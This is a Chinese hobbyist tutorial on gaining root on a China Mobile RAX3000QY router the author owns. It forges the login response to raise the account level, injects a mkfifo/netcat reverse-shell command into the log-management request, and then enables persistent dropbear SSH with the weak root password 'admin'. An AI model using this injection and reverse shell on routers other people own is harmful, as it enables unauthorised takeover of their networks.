中国移动RAX3000QY SSH提权并固化

前言

开学前，35元从小黄鱼购入一台移动rax3000qy，并且因这台机子比较小，直接塞网络箱里，当主路由拨号，并且体验一下wifi6
到手这台机子固件版本是Ver1.0.0（此为FakeVersion），PING次数为4，并且试尽办法，仍然无法用超管的账户登陆，由此可知，我手上这台机子应该是无superadmin账户的web面板（要折腾的话，要等暑假了）。
本文根据恩山论坛大佬ponyjs的文章和本人的经历总结

需要的工具

• Reqable（或其他抓包工具）
• NetCat
• WinSCP（或其他ssh工具）

正式步骤

破解Shell

1. 启动 Reqable 并设置好代理
2. 用浏览器登陆路由器后台（默认192.168.10.1）
3. 找到路由器后台ip/item/login数据包，右键→修改响应
4. 添加修改响应规则"account_level":"3"替换成"account_level":"1"
5. 重新登陆路由器后台，会发现页面多了一下控件
6. 路由器后台，更多→管理→日志管理，把日志开关打开
7. 在 Reqable 寻找日志数据包，右键编辑
8. 在 cmd 中输入ipconfig查看本机ip地址（此为192.168.1.7）
9. 在请求体websys.log后边添加

   |rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ip地址 4444 >/tmp/f
   

   

10. 启动 Netcat ，并监听4444端口，在 Reqable 中点击发送，即可获取Shell

    nc -lvnp 4444
    

    

解锁ssh并固化

1. 在上步👆 Netcat 中输入passwd，再输入两次admin，设置ssh登陆密码，再在22端口启动dropbear ssh服务

   $(dropbear${IFS}-p${IFS}22)
   

   

2. 再打开 WinSCP （或其他ssh工具， cmd 也可），登陆ssh
3. 修改端口和 enable 值
   1. 在 WinSCP 里在目录/etc/config右键dropbear文件，编辑它，修改端口和 enable 值，修改成以下

      config dropbear
       option PasswordAuth 'on'
       option RootPasswordAuth 'on'
       option Port         '22'
       option enable       '1'
      

   2. 在 cmd 里输入命令vi /etc/config/dropbear，进入vi/vim模式，编辑成3.1一致（vi/vim命令可以看菜鸟教程）
4. dropbear 开机启动
   1. 在 WinSCP 快捷键Shift+Ctrl+T进入终端，输入命令/etc/init.d/dropbear enable
   2. 在 cmd 输入命令/etc/init.d/dropbear enable